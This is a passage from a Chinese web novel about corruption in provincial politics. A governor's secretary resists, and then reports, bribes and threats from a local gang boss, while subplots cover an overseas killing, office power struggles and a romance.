“是省里来的领导吗?下来,我们陈总要见你。”一个小混混敲了敲车窗,态度强硬。 李承点燃一根香烟,压下心中得到情绪。 这是省长专车,若非遇到这种情况,他是不会在车里抽烟的。 吸了一口烟,李承将车窗降下,表情冷漠的看向对方。 “跟你说话呢,下车,别他妈的装聋啊。” 对方指着李承,呵斥道。 对方很清楚,省长并不在这台车上,这才是他们猖狂的底气。 “你知道这是什么车吗?你就敢截停?”李承冷声质问。 “我不管这是什么车,也不管你是什么人,但是到了海森,就没有我们陈总请不动的人!” 对方叫嚣的同时,去拉了车门,发现车门反锁后,竟然把手顺着车窗伸了进来,准备从里面开锁。 这一行为,无疑是点燃了李承的怒火。 他再次吸了一口烟,将烟头吸红后,直接按在了对方的手背上。 “嘶...啊...” 对方被烟头烫伤,痛呼一声,将手收了回去。 “叫陈志伟来见我!” 李承将烟头顺着车窗丢了出去,随即准备升起车窗。 “你他吗的...” 小混混想叫骂,但这时,一只手拉住了他。 他回过头,看到来人后,恭敬的喊了一声:“陈总。” 李承知道,陈志伟来了。 他停下升车窗的动作,目视前方,根本不去看已经走到车窗前的陈志伟。 “是省里来的李秘书吧,我这小兄弟不懂事,你别跟他计较。”陈志伟笑呵呵的解释。 看似,他是在缓和气氛。 可实则,今天这场截车,和小混混的叫嚣,都是他一手安排的,目的就是给李承一个下马威。 “小弟不懂事,是你当大哥的没管教好。”李承侧过脸,冷声说。 ‘啪’ 李承话音落下,陈志伟抬起手,一记响亮的耳光抽在了那名混混脸上。 “我让你来请李秘书,谁让你那么无礼的,给李秘书道歉!” “李秘书,对不起。” 小混混被抽了一巴掌,不敢吭声,弯腰给李承道歉。 对此,李承压根不买账。 这都是对方的演戏。 “李秘书,你大老远来海森市调查我,也是我的荣幸啊,哈哈哈,我想尽地主之谊,请你去坐坐。” 陈志伟脸上挂着笑容。 可那笑容之下,却藏着一张阴狠歹毒的脸。 “承哥。” 没得李承回答,许梦叫住了他,冲他微微摇头,示意不要去。 “没关系,你们先回去。” 李承安慰了一句,答应了陈志伟:“好啊,那就坐陈总的车吧。” 对方敢截车,就证明对方有足够的底气。 车里还有许梦在,李承不想让这件事牵连到一个女孩,她经不住这种场面。 所以,李承答应了对方。 “李秘书请!” 第69章 阔绰的陈志伟 坐上陈志伟的迈巴赫,汽车开始在整个海森市环绕起来。 “李秘书,你左边是海森市最大的农贸批发市场,我的产业,整个海森市的蔬果供应,有四成以上,由我提供。” “海森百姓药店,一共开了二十四家分店,在药物销售上,除了医院外,几乎占据了整个海森市区的七成以上市场份额,也是我的产业。” “海森一中,这是我出钱无偿建立的学校。” “烈士纪念馆,我出钱资助建设的。” 一路上,陈志伟为李承介绍起他的产业是何其庞大,对于民生有多大影响,以及他对城市建设有多么大的贡献。 “我的化工厂和沙场有点远,就不带李秘书去参观了,但这两个厂子,每年给海森市带来至少三千万的税收。 算上药店,农贸批发市场,还有一些娱乐场所,每年我给政府缴税,起码一个亿。 是海森市的纳税大户。” 陈志伟跟李承讲述这些,是想让李承知道他对这种城市的重要性。 也算是他眼中的一种筹码。 可对此,李承全程是保持沉默状态。 陈志伟对于海森市,不可否认,是有统战价值的。 但是,相比于他的罪行,他的统战价值根本不值一提。 汽车停在九龙典当行门口。 陈志伟的车刚停下,门外一排混混集结于此,帮李承和陈志伟拉开车门。 “李秘书,今晚我们就在这里用餐,尝尝我这里厨师做的菜怎么样。” 对于李承一路的无视,陈志伟心有愤怒,但他也无可奈何,只能笑脸相迎,通过公关其他领导的方式来公关李承。 只要能让李承妥协,他的这次危机,也就算是解决了。 “嗯。” 李承微微点头,在陈志伟的带路下,走进九龙典当行。 九龙典当行一共三层楼。 一楼摆放的,是各种的名牌手表,包包等奢侈品。 二楼摆放的,是一些古董瓷器,书画。 三楼则是陈志伟的办公室,以及餐厅包厢。 “陈总典当行生意做的不错嘛,下面的停车场也是你的吧?” 李承站在办公室的窗前,俯瞰下去。 窗外是一个停车大院,里面各式各样的品牌汽车都有。 大到上百万,小则几万块,初步看去,都得上百台。 “对,那里有债主的抵押物,我还有一家汽车租赁公司,也有我个人的车。”陈志伟介绍道。 “陈总这个典当行,很是阔气嘛,看来这高利贷的生意,还是景气啊,哈哈哈。” 李承笑着说道。 他的笑容里没有笑意,尽是挖苦。 “李秘书您就别拿我开涮了,我这都是正规经营,利息按照国家标准收取的。” 陈志伟点燃了一根香烟,岔开话题:“李秘书,您过来一下,我给您看点有意思的东西。” 李承闻言,也走了过去,来到陈志伟的办公桌前。 陈志伟打开保险柜,从里面拿出一个精致的长条形盒子,摆在桌子上。 盒子打开,里面有三块手表。 “第一块是理查德米勒的RM65,第二块是百达翡丽的星空系列,第三块是百达翡丽的鹦鹉螺。 您看您喜欢哪一块?” 陈志伟能在海森市称王称霸,猖獗这么多年,就是因为他舍得在贿赂上花钱。 这几款表,每块的价值都在百万以上,说送就送。 李承对于奢侈品行情不了解,但这些品牌他是有所耳闻的,都是百万级手表。 这还是第一次有人向他行贿如此巨大数额。 “陈总这是要送我表?”李承笑呵呵的问。 “咱自家就做这个生意的,李秘书喜欢就拿去。”陈志伟道。 “这几块表都不怎么样,我看陈总戴的这块不错。”李承目光落在陈志伟的手腕上,笑着说。 “李秘书不愧是省长的秘书,眼力独到啊,我这是百达翡丽的5002铂金款,二手行情也在千万之上。” 陈志伟说着,将手表摘了下来:“李秘书喜欢,拿去。” 看着递到自己面前的千万价值,很难有人不心动。 一千万,那是他们家几代人都赚不到的钱,可对方竟随手送给自己。 但对此,李承却并未收下。 秦海的下场历历在目,他贪污了那么多钱,可那些钱他又享受了多少呢? 对于李承来说,贪污的钱不是钱,而是负担,是无尽的恐慌和罪恶感。 “我跟你开个玩笑,这么贵重的手表,陈总可要戴好啊。” 李承说完,转身坐到了沙发上;“陈总,该参观的已经参观完了,你还有什么要跟我谈的吗?没有的话,我要回去了。” “李秘书,吃口便饭再走。” ‘咚咚咚...’ 陈志伟挽留之际,办公室的门被敲响了,一个小弟推门而入:“老板,饭好了。” “走吧,李秘书,一会儿我派车送你。” “嗯。” 李承点了点头,选择客随主便。 他已经到了陈志伟的地盘,对方是当地有名的地头蛇,黑恶势力,自己想走的话,也没那么容易。 虽说,他是孟省长的秘书,陈志伟不敢拿他怎么样。 可总要担心对方狗急跳墙。 毕竟,这群人是连省长专车都敢截停的,谁知道他们又能做出什么出格的事情。 陈志伟的招待菜肴非常丰盛。 一桌子山珍海味,龙虾帝王蟹都不算什么,有些菜,甚至是在刑法之内,其中,李承就看到了熊掌。 “李秘书,请上座。” 陈志伟将李承请到主位上落座。 看着这一桌子色泽鲜美的菜肴,李承却没有什么胃口。 首先,这些菜能不能吃,吃了会不会违法是个问题。 其次,包厢内的环境,也让李承没有胃口。 饭桌上只有李承和陈志伟两个人,但或许是为了震慑李承,陈志伟的身后站了十五六个混混。 这群人就严肃的站在那里,目视着两人用餐。 这等景象,十分像香港电影里,那些黑大哥会面吃饭的场面。 李承没有动筷,目光看向那群人,淡淡的对陈志伟说:“陈总,你安排这么多人站在这里,怎么,是怕我跑了呀?” 第70章 诡计百出 “怎么会呢,这些人都是为了时刻服务李秘书的。” 陈志伟莞尔一笑,摆了摆手:“你们都出去。” “是,老板。” 在陈志伟的吩咐下,这群小混混们走出了包厢。 包厢里,只剩下李承和陈志伟两个人。 可这群人刚走,两个人还没有动筷时,两个女人走了进来。 一个打扮性感,妩媚动人,属于那种美艳少妇型。 一个清纯可爱,一头乌黑亮丽的头发披在肩膀上,穿着一席白色长裙,属于那种清纯少女型。 两个女人的长相,绝对称得上百里挑一,都很漂亮。 “李秘书好。” 两位美女进入包厢后,冲着李承鞠了一躬,走到陈志伟的面前。 “李秘书,给你介绍一下,这位是李嫣,我的小姨子。” 陈志伟手指向那位美艳少妇,向李承介绍后,又指向了白裙女孩:“这是娜娜,我的干闺女。” 介绍后,也不等李承做任何的反应,他看向两人,语气严肃的吩咐道:“你们两个今天的任务,就是把李秘书陪好。” “好的姐夫。” “好的,干爹。” 两人纷纷应下后,坐到了李承左右两边的位置。 “李哥,我给您倒酒。” 李嫣撩了一下头发,故意挺了挺自己傲人的身姿。 她拿起餐桌上的茅台,动作幅度夸张,似乎在给李承足够的时间,领略她的美色。 可对此,李承压根不看她半眼,只是冷冷的说:“不好意思,我不喝酒。” “那我给你倒果汁。” 娜娜拿起桌子上的苹果汁,给李承倒了一杯。 两个人的长相都很不错,如果自己不是公务人员,心中又没有许梦的话,或许真会栽倒在她们二人的石榴裙下。 但此等形势之下,李承断然不敢有半点杂念。 而且,这两个人一看就是常年从事于公关活动,身上早没有陪同领导身边的胆怯。 神色轻松,娴熟的很。 想来,有不少海森,乃至封兰的领导,沉醉在她们二人的温柔乡中。 “李秘书,尝一尝这个肉,保证惊艳你的味蕾,这东西,补肾壮阳的好玩意啊,哈哈哈。” 陈志伟拿起公筷,给李承夹了一块肉,说。 “鹿肉?” 李承并没有动筷,好奇的问。 他只知道鹿茸补肾壮阳,想着,这盘肉可能是鹿肉。 “鹿肉哪能上得来招待您的餐桌呢,这是虎肉,西伯利亚虎,尝尝看。”陈志伟笑呵呵的也给自己夹了一块,放入口中。 西伯利亚虎,也叫东北虎,那可是国家一级重点保护动物。 吃一口,不仅是犯法,还可能构成刑事犯罪啊。 这个肉,李承是万万不敢吃。 “我享受不了这东西,吃一口,怕是要牢底坐穿。”李承只是夹了一片青菜,放入口中,慢慢咀嚼着。 “呵呵呵...李秘书,这天底下的动物,不就是给人吃的吗?他们能上餐桌,也是输给了丛林法则。 就像做生意一样,有些钱,我不赚,也会轮到别人赚。 就好比那些借贷的,他们不借我的钱,也会借别人的钱,这就是他们的命。 就像这只东北虎,俄罗斯运过来的,它不上我的餐桌,也会上别人的餐桌,它的命运是早就注定的。” 陈志伟以菜为引,还在为自己诡辩。 “陈总真是诡辩的一把好手啊。”李承皮笑肉不笑的说。 他甚至不愿去跟陈志伟争辩法律。 因为,没有这个必要。 他只想等陈志伟把诡计耍完,然后离开这里。 “何谈诡辩,在很多人眼里,我是坏人,可我也干过好事啊,我每年都会向爱心机构捐赠一笔钱,我帮助过很多人。 市里还授予过我过,十大杰出企业家,和爱心企业家的称号。 我赚的钱,我会拿出一部分回报于社会,这是我的良心,不是所有人都有我这么良心。 退一万步讲,那些国企单位,每年又会向社会提供多少无偿帮助呢?他们内部,借着国资背景,也做过不少丑恶事吧。” 陈志伟喝了一口酒,滔滔不绝。 不可否认,陈志伟这番话是有些道理的。 从审计局出来,这些年李承看到过不少国企的腐败现象。 单说前些日子死掉的金河集团副董事长潘男,他的罪行累积起来,不比陈志伟差多少。 “陈总所言,我会作为衡量的参考。”李承敷衍道。 李承不愿去接陈志伟的话茬,陈志伟看得出来,李承是一个难啃的骨头。 从李承进门到现在。 拒绝了金钱贿赂,拒绝了美色,甚至没有去动那块虎肉,乃至于没有动餐桌上的任何肉菜。 看到李承如此油盐不进,陈志伟的心情也沉闷下来。 “李秘书,你家是封兰市星光镇五南村的,咱们也算是半个老乡。 你人在省城工作,家里的父母也需要人照顾,给我一个面子,咱们互帮互助,封兰就这么大的地方,别闹的不太愉快,最后都后悔。” 陈志伟沉声说。 此话一出,李承手中的筷子顿住。 这是威胁。 而且是用李承的父母作为威胁,想让李承妥协。 此等行为,是彻底触碰到了李承的红线。 李承放下筷子,目光看向陈志伟。 四目相对,两人皆在对方的眼神中看到了凶光。 但相比于李承,在江湖社会上摸爬滚打,手上沾染鲜血的陈志伟,目光则更加的凶戾。 “陈总,哈哈,你说的很对啊,都是老乡,应该互相照顾的。”李承眼神逐渐缓和,他露出一抹笑容,应和了陈志伟。 迎合也是无奈之举。 省里若是派出专案组调查,陈志伟团伙势必将成为亡命之徒。 那么,他们会做出什么过激举动,是否会报复到自己父母身上,李承不敢去赌。 “对嘛,同乡之间就应该互相照顾,李秘书还这么年轻,政治野心肯定不止于此,以后是要做大领导的。 我呢,手里有钱有资源,说不定日后,会成为李秘书的一大助力呢。” 陈志伟微微一笑,再次摘下了手腕上价值千万的百达翡丽:“李秘书,别再拒绝了。” 第71章 我有错 千万豪礼相送。 但对于陈志伟来说,这是一个很划算的买卖。 如果他的罪行被李承传到孟良德的耳中,孟良德的一道命令发下去,陈志伟犯罪团伙顷刻间将会被一网打尽。 别说,一千万,就是拿出一个亿来解决此事,陈志伟都是乐意的。 并且,有个省长秘书给自己做背书,以后底气也更足了一些。 势力甚至可以向外逐步扩张。 再者说李承三十岁的年纪,就已经做到了副处级干部,还是省长的秘书。 等省长调任后,李承最起码也会被调到某个县城,或者是县级市的政府部门当二把手。 再凭借李承积攒下来的人脉,未来前途是一片光明。 若是能凭借这份千万豪礼搭上李承这个人脉,其投资回报的价值,可能是数倍,乃至于数十倍。 看着递到自己面前的百达翡丽,李承微微一笑,也没有拒绝。 他直接拿了过来,戴在了自己的手上。 “别说,这手表戴在我手腕上,有点土鳖,但是戴在李秘书的手上,那简直是量身定做啊,哈哈哈。” 看到李承接纳了手表,陈志伟露出欣喜的笑容。 “是呀,这表跟李秘书好般配。”娜娜也附和起来。 “陈总,以后做生意还是收敛一些。”李承提醒道。 “李秘书你放心,我保证不会再有一封举报信传到省里,肯定做个遵纪守法的好公民。” 陈志伟点头答应。 可他内心深处,却没有半点悔改之意。 他目光瞟向房间角落的隐藏式摄像头,看着摄像头记录下李承受贿的罪证后,他已经开始盘算起,如何借助李承的关系,来扩张自己的势力。 “嗯,那就行。” 李承对于陈志伟的想法并不了解,他微微点头。 饭局在李承表面妥协后,变得轻松了很多。 李承跟两个女人也有说有笑起来,但却并未有任何出格的举动。 甚至他还喝了一点酒。 不过,从始至终,桌子上的肉菜他都没有吃一口,顶多是吃一些海鲜。 “李秘书,今晚你就住在这里,让他们两个人一起陪你。” 陈志伟拍了拍李承的肩膀,脸上流露出猥琐的笑容:“保证你满意。” “不了,我女朋友还在等我回去呢。” 李承拿出手机,给陈志伟看了一眼许梦的聊天框。 上面都是许梦发来的询问关切消息,密密麻麻,好几十条。 李承只是抽空回一句:我没事,放心。 “没关系,你让她先睡,明天一早就我安排车送你回去。”陈志伟道。 “算了陈总,我女朋友可是新闻电视台的主持人,想象空间很丰富,她都会想到我被你绑架呢,哈哈哈。” 李承开了一句玩笑后,继续说:“再说,孟省长的司机也在,我在你这个过夜,对你和我的影响都不好。” 听到这话,陈志伟点了点头。 过夜的消息如果从司机口中传到孟良德那里,陈志伟的如意算盘也会落空。 这同样不是陈志伟想要面对的结果。 “嗯,既然如此,我安排车送你回去。” ..... 一个小时后,一台雷尔法停在了假日酒店楼下。 李承下了车,径直走向了许梦的房间,敲响了房门。 ‘咚咚咚...’ “谁?”里面传来许梦低声询问。 “是我。” 听到李承的声音,房间门很快就开了。 李承刚走进屋内,还没看清楚房间内的景象,许梦直接扑进了他的怀里。 “你担心死我了,下次不要那么冒险好不好....” 许梦紧紧抱着李承,她纤细的手指用力抓住李承背部的皮肤。 “没事,我是省长秘书,他们不敢对我怎么样的。” 李承抱着许梦,嗅了嗅她秀发上的清香,安慰说。 “万一呢,他们是一群亡命之徒,杀人放火,什么事情都做过。”许梦鼓起小嘴,气呼呼的看着李承,说。 “你怕出事呀?”李承淡笑着问。 这时,李承才看清楚许梦的穿搭。 她只穿了一个小吊带睡裙,李承低头时,甚至能通过衣领,看到她裙下的白嫩风光。 里面居然.... “嗯,你出事了,我怎么办?”许梦又紧紧抱住李承,委屈巴巴的说。 “出事了,你就找别人呗。” 李承开了句玩笑,可话刚说完,他就忍不住的痛呼出声:“嘶..疼....” 许梦狠狠在李承的肩膀上咬了一口。 随口,她双手环抱住李承的脖颈,用力吻了上去... 李承是一个正常男人,面对心爱女人的温柔,他无力反抗,也不想再拒绝。 这一夜,在这个房间里,充满了爱的味道。 次日一早。 李承睡醒后,看着怀中柔软的娇躯,轻轻吻了一下许梦的额头。 许梦微微睁开眼睛,眼神中充满爱意。 “你再睡一会儿,我要跟孟省长汇报一下工作。”李承看了一眼时间,说。 “嗯。” 许梦含羞点头。 李承给他盖好被子,裹着浴巾去到卫生间。 他先是冲了一个澡,让自己焕发出精神,待会跟领导汇报工作,不能让对方听出自己的睡意。 洗好澡,李承站直身体,拨通了孟良德的电话。 ‘嘟..嘟..嘟...’ “喂。” 电话响了十几秒后,孟良德接通。 “老板早上好。”李承问了好。 “嗯,海森市调查有结果了?”孟良德问。 他知道,李承这么早给他电话,一定是为了汇报工作。 “昨天我们走访了举报人的家里....” 接下来,李承先是将举报人讲述的情况,如实汇报给孟良德后,他语气稍显低沉的说:“在回来的路上,陈志伟带人截下了我们的车,请我去了他的公司。 在他的公司里,他先是送我手表,又送女人,想要拉我下水。” “呵...一个小小的县级市,居然有人如此胆大包天,敢公然截我的专车,诱惑我的秘书,岂有此理。” 听到李承的汇报,孟良德语气中很是愤怒。 “老板。” 李承叫了孟良德一声后,停顿了两秒,组织了一下语言:“老板,我有错。” 第72章 巧合? “错,错在哪?”孟良德淡淡的问。 “在饭桌上,陈志伟以我的家人作为要挟,逼迫我手下一块价值千万的百达翡丽手表。 我没办法,只能暂时收下,可因为从他那里出来太晚,我不想打扰到您的休息,所以今早才想您汇报这件事。” 李承将自己收受千万贿赂一事,如实禀报给了孟良德。 受贿不是他的本意,他只是想父母能够安全。 “他们毕竟是当地的流氓组织,你为了保护家人,暂时拖延,并且第一时间汇报给我,这并没有错。 这事我会向纪委李岳明同志打招呼,但你务必要把这块手表保护好。” 孟良德认真叮嘱道。 他也是从基层爬上来的,这些事,他都经历过。 他能理解李承,也相信自己这位秘书的为人。 “谢谢老板。” 李承表示感激。 孟良德的回答,也都在他的意料之中。 “这事等假期结束,见面再说。” 挂断电话,李承重返房间,看到床头柜上价值千万的百达翡丽放在那里。 他悬着的心也放下了。 这东西就是一块烫手的山芋,他很怕遗失。 “好漂亮的手表,昨天怎么没看到?” 许梦通过李承的目光,也注意到了这块百达翡丽,准备拿起来悄悄。 “这是陈志伟送我的,他说值千万。”李承道 闻言,许梦刚刚碰触到手表的手又收了回来:“这么贵。” “嗯。”李承点头,坐在了床边。 “还是尽快交到纪委同志的手里吧,丢了,我们可负不起责。” 许梦再次看向手表的眼神里,没有了喜欢,反倒是一些胆怯。 “我打算一会儿回家吃个饭,就回汉江。” 手表很烫手,在他手里多一天,李承就一天睡不好觉。 原本李承是想给父母一起带上的,可那样做,反而容易打草惊蛇。 汉江距离封兰几个小时的路程,距离并不远,父母到了汉江,也并非绝对安全。 不如留在封兰。 “嗯。” 许梦微微点头,她伸手从后面抱住了李承:“承哥,我还想要一次...” ..... 国外,维瑞利亚。 一栋郊区别墅内,锦绣置业的老总黄天耀,正躺在一个金发碧眼的欧美美女腿上,享受着对方投喂的水果。 在他的身边,还有一个女人在帮他按摩捶腿。 生活堪比神仙,十分的潇洒。 “老板,我收到消息,维瑞利亚不堪大使馆压力,已经选择妥协,准备对你采取遣送措施。” 在黄天耀对面的沙发上,一个外国男人用一口流利的英语,说。 闻言,黄天耀打了一个机灵,从沙发上坐了起来。 “什么!维瑞利亚没有引渡条款,他们怎么能这样做!” 黄天耀推开了给他按摩的外国女人,快步走到男人的面前,声音中带着愤怒和焦急。 “没办法,弱国无外交,维瑞利亚有四成的进出口都依靠你们国家,当地政府不敢得罪。” 外国男人摊了摊手,摆出一副无奈的表情。 “保罗,你能不能帮我联系到去往美国的蛇头,要快,最好今晚就能出发。” 黄天耀急的焦头烂额:“我可以给你钱,我出一百万美金,只要让我逃到美国。” “嗯...那我想想办法。” 保罗本想拒绝,毕竟,黄天耀是国家要抓的人,帮助他逃脱风险太大。 可一百万美金的诱惑,又让他无法拒绝。 ‘叮咚’ 就在这时,外面的门铃响了起来。 “谁?”黄天耀问。 “您好,您订的披萨送到了。”对方回应。 闻言,其中一个外国美女去打开了门。 “给我吧。” 美女对外卖员说。 可外卖员并没有回应女人,他一把将女人推翻在地,闯进了房间。 黄天耀等人被他突然的闯入给惊了一下,本以为是警方的抓捕,准备要抱头投降。 可对方在确认了这张华裔面孔后,直接掏出了手枪,扣动扳机。 ‘砰’ ‘砰’ ‘砰’ 三声枪响回荡在偌大的别墅中。 三颗子弹分别射中了黄天耀的脑袋,心脏和大腿。 黄天耀当场毙命,躺在地上,眼睛盯着斜方,死不瞑目。 “啊!杀人了!” 直到杀人凶手离开了别墅,女人们惊叫出声。 ..... 回到汉江。 李承第一时间联系了纪委,将这块手表上交上去。 纪委书记李岳明打过电话,所以,交接工作十分顺利。 当手表交上去后,李承悬着的这颗心,终于算是落地了。 接下来的几天,李承过上了几天悠闲而幸福的生活。 自从跟许梦确认关系后,两个人趁着假期,几乎是形影不离,感受着恋爱的甜蜜。 而初次品尝到性福的许梦,对于李承的身体更是欲罢不能。 两个人每天都要缠绵几次。 这不仅仅是原始欲望的发泄,更是享受彼此,占有彼此,发泄爱意的方式。 那种感觉,让李承也是沉沦其中。 他谈过几个女朋友,但只对许梦有那种独特的爱意,哪怕进入结束后的圣者模式,也忍不住的去跟许梦亲近。 假期在幸福与快乐中,匆匆结束。 上班第一天,新任省政府秘书长杨兆华也上任。 刚上任,孟良德自然会有一些工作交代,安排到杨兆华的身上。 尤其两人又起老同学,聊起工作来,也就更加的细致。 “李秘书。” 上班一个小时,公安厅长常百利就早早的赶到,跟李承打招呼。 “常厅长,您怎么来这么早。” 今天上午的确有常百利的来访,不过,时间安排在半个小时之后。 主要是孟良德想跟他谈论关于海森市陈志伟的问题。 准备让公安厅成立专案组,对陈志伟及其犯罪团伙进行剿灭。 “我有一件紧急的事情向孟省长汇报,维瑞利亚那边传来消息,黄天耀在家里被当地犯罪分子被枪杀了。” 常百利叹了一口气,摆出一副无奈的表情。 听到这个消息,李承嗅到了一种阴谋的味道。 黄天耀跑路这么久,在国外都逍遥得到很,刚准备抓捕他回国时,却被枪杀。 这是巧合? 恐怕不是吧.... 第73章 危害 省长办公室。 孟良德还在跟杨兆华谈论工作时,李承推门走了进来。 快步带来孟良德面前,李承将常百利在外面等待,以及黄天耀死亡的消息,通知给了孟良德。 “叫他进来。” 听完李承的汇报,孟良德脸色变得阴沉。 “孟省长,我也先回去了。” 杨兆华见孟良德有工作来访,也起身告辞。 在李承的招呼下,常百利走了进来。 “先聊聊黄天耀的事吧。” 以往,有人来访,孟良德都会在会客沙发上招待。 但这一次,他却回到了自己的办公桌前,以一种领导者的姿态,来与常百利谈话。 这一细节,表明了孟良德对此事的极其不满。 “我们接到大使馆的消息,黄天耀在十月四号那天,遭遇了入室抢劫,他被枪杀了。” 常百利很惋惜的汇报了这个情况。 但黄天耀之事的真正原因,他比任何人都清楚。 这是京城来的周公子,安排人的杀人灭口。 “常百利同志,你觉得这是巧合吗?”孟良德点燃了一根香烟,冷冷的问。 “这个...我不清楚。” 常百利迟疑片刻,摇了摇头:“我怀疑可能走漏的风声,但是,人毕竟死在了国外,杀人凶手维瑞利亚方面还在抓捕,在没有十足证据前,无法断定。 我们能做的,也十分有限制。” “如果是走漏风声的话,你觉得是哪个环节出的错?”孟良德吸了一口烟,再次问。 “这个我也不清楚,这毕竟已经不算是机密了,涉及抓捕环节的部门很多,国内有可能,国外也不能排除。” 常百利再次摇头,说。 他是咬定了黄天耀死在国外,一切责任都可以推卸给维瑞利亚,就算孟良德有所怀疑也无从考证。 “你作为一个公安厅长,当初保证半个月内捉拿归案,现在却一问三不知,什么都不清楚,你这是不是严重失职啊!” 这是李承第一次见到孟良德发这么大的火,还是对一位公安厅长。 “孟省长,这是我的失职。” 对此,常百利却不敢反驳,低着头,承认错误。 “海森市陈志伟黑恶团伙,我命你现在成立专案小组进行清缴,必要时,联系纪委部门联合审查,务必将陈志伟及其背后保护伞一并揪出。 如果这件事你还能给我办砸了,那么我看,你这个公安厅长也该换个有能力的人来做了!” 孟良德用不容置疑的口吻,对他下达了最后通牒。 “是,孟省长,这一次我保证完成任务,绝不会出现半点差错。”常百利认真保证道。 常百利离开后,孟良德的表情恢复以往的平静。 看不到半点的恼怒之色。 “省长,黄天耀被杀之事,您是不是早就接到通知了?”李承问。 跟在孟良德身边这么久,他也学到了不少东西,也可以揣测到了一些孟良德的心思。 他总有一种感觉,今天孟良德的愤怒,并非是真正的愤怒。 “黄天耀出事的那一天,大使馆就给我打过电话。” 孟良德对于李承并没有隐瞒,在工作事件上,他已经信任了这位秘书。 “问责常百利,是想让他看清局势,尽快将陈志伟一案解决。”孟良德猜出李承心中所想,解答道。 常百利在东江省深耕多年,即便他与常百利一案无关。 但是,常百利背后还有保护伞,而这些保护伞很有可能就在公检法部门。 陈志伟只要肯下工夫,他背后的保护伞也感受到危机,就一定可以联系到常百利。 为了避免常百利包庇此案,为了迅速解决陈志伟一案,孟良德才以黄天耀一案作为压力,逼迫常百利尽快侦破陈志伟一案。 而常百利在黄天耀一案上已经让孟良德感受到不满,在陈志伟一案上,就会竭尽全力的去表现,争取孟良德的好感。 毕竟,常百利虽为省公安厅厅长,却并不是副省长兼省委常委。 属于低配公安厅长。 他想要晋升为副省长,成为省委常委中的一员,就必须得到孟良德的支持。 “陈志伟确实是祸乱一方,这次还不是暗访,他就敢堵截专车,用千万手表行贿。 而且,在那个餐桌上,我甚至不敢动一口肉菜,全部都是国家保护动物,甚至有东北虎。” 李承讲述起自己在海森市的经历。 那一场饭局,桌子上的山珍海味,让李承难忘。 “像陈志伟这种祸害,整个东江省不止是封兰有,其他地级市也一定存在此等现象。” 孟良德喝了一口茶,眼神中充斥着杀意。 陈志伟贿赂李承一事,并未让孟良德感受到愤怒,他在官场这么多年,类似事情经历过无数次。 别说是千万手表,价值上亿的海外别墅,他也见过。 但是,陈志伟堵截省长专车,是实打实的触碰到了孟良德的底线。 省长专车,就象征着孟良德亲临现场,对方来他的车都敢堵截,就是没有见这位省长放在眼中。 对此,孟良德十分重视。 毕竟,这象征着一位领导者的尊严与地位。 三十年前,某省知名黑老大,悬挂某A·88888车牌,超越某领导车队,最终导致其团伙被剿灭,就是血淋淋的教训。 陈志伟一事,甚至比当时那场超车更为恶劣。 “看来,扫黑除恶专项斗争还要继续进行,全省行动不能停吧。”李承随意说道。 对此,孟良德没有回答。 他的眼神中,也有些许的疑虑。 扫除一个陈志伟,极其背后保护伞,尚可执行。 但是,如果针对全省进行扫黑除恶,并揪出背后保护伞,即便是孟良德,目前而言也有些心有余而力不足。 两大原因。 一,那些保护伞背后的关系网,很有可能涉及到省委,省政府。 二,那些保护伞如果被揪出来,如何处置,也是一种麻烦。 按照法律处置,那些人都避免不了被双规和牢狱之灾。 这群人身处于各市的重要位置,如果进行处置,政府部门都可能陷入瘫痪。 这对于政治平衡是一种严重的损害,其危害,远超过容忍他们的暂时贪腐行为。 第74章 新官上任三把火 下午。 李承准备将孟良德部署下来,关于审计议题的工作事项转达给综合一处。 由综合一处对接相关部门,进行落实。 “张处长,这就是你对待工作的态度吗?你身为综合一处的处长,这么重要的岗位,你是拿来当养老用的吗?” 李承刚进门,就听到杨兆华发火的声音。 声音来源,就在张俊的办公室里。 而在综合一处的办公室内,所有工作人员看似在忙碌手中工作,实则,都竖起耳朵,认真来听张俊被骂。 “怎么回事?” 李承走到李薇儿身边,好奇的问道。 “秦秘书长没有对接工作,很多工作,杨秘书长就需要张处长配合交接,张处长你还不知道啊。 平日里就在办公室里喝喝茶,很多跟他有关的工作,他都交给我们这些手下全权负责。 他知道的那些,应付省长足够,但细致的对接起来,藏不住了。” 李薇儿压低声音,将情况大致讲给了李承。 “哦哦。” 李承点了点头。 他跟在杨兆华手底下工作也有几年时间,杨兆华的性格属于那种温和型的,很少发火。 但这次,张俊是撞在了枪口上。 新官上任三把火,张俊又是前秘书长秦海的心腹,刚好成为了杨兆华巩固地位的出头鸟。 “杨秘书长,是我工作的疏忽,我保证一定尽快落实清楚,明天一定可以给您一个满意的报告。” 在综合一处作威作福的张俊,此时,也成为一只畏畏缩缩的小绵羊,在杨兆华面前大气都不敢喘。 正所谓一朝天子一朝臣,秦海走了,张俊虽还是综合一处的处长,但他也不再是当初那个处长了。 “你不喜欢喝茶养生,把工作都交接给手下人来做吗?那正好,离退休人员工作处缺个处长,我去打招呼,给你调到那里,那里的工作最轻松。 你可以经常陪那么些老干部喝茶。”杨兆华严肃的道。 闻言,张俊整个人都感觉天塌了一般,连忙求情:“杨秘书长,你再给我一次次机会,我保证不会犯类似的错误。” “你现在的工作岗位压力大,还是留给有能力的人来做吧。” 丢下这句话,杨兆华走出了办公室。 离退休人员工作处,基本就是省政府内的养老工作。 主要工作就是给退休人员发放离退休金,节日福利,组织一些慰问帮扶和老年文体活动。 接触的人,基本都是一些退休人员。 而这个工作,也没有什么功绩可言,工作虽然轻松,但调到那里去,张俊的仕途生涯一辈子也就止步于此的。 张俊还不到五十岁的年纪,他已经在综合一处处长这个核心位置上做了三年。 他是很有机会再进一步,到达厅局级干部。 但因为他站错了队,他的仕途便宣布了终止。 ..... 晚上。 李承照常去接许梦下班。 他站在省电视台门口等待时,一辆帕萨特轿车停了下来。 车窗降下,一个男人招呼道:“李秘书吧?” 李承转头看去,因为是夜晚,对方又在车里,李承并没有认出这个人是谁。 对方年轻五十岁左右,隐约间,李承觉得自己在哪里见过他。 “你是?”李承问。 “鄙人赵金福,汉江市检察院党组副书记。”对方自我介绍道。 “哦,赵副书记这是来接女朋友下班呀?”李承戏谑的说。 这是李承第一个与赵金福有交流。 但对于这个人,他已经厌烦很久了。 当初李承和许梦去酒吧玩,就是赵金福指使金河传说老板韩东升过来搭讪,让许梦去陪酒。 事后,在了解到李承身份后,赵金福也并未露面。 而那个说许梦坏话,造黄谣骂许梦的主持人黄莉莉,就是赵金福的情妇。 今天,对方更是在车里跟李承打招呼,这些行为都让李承十分不爽。 虽说,赵金福是一位正厅级干部,职位远高于李承。 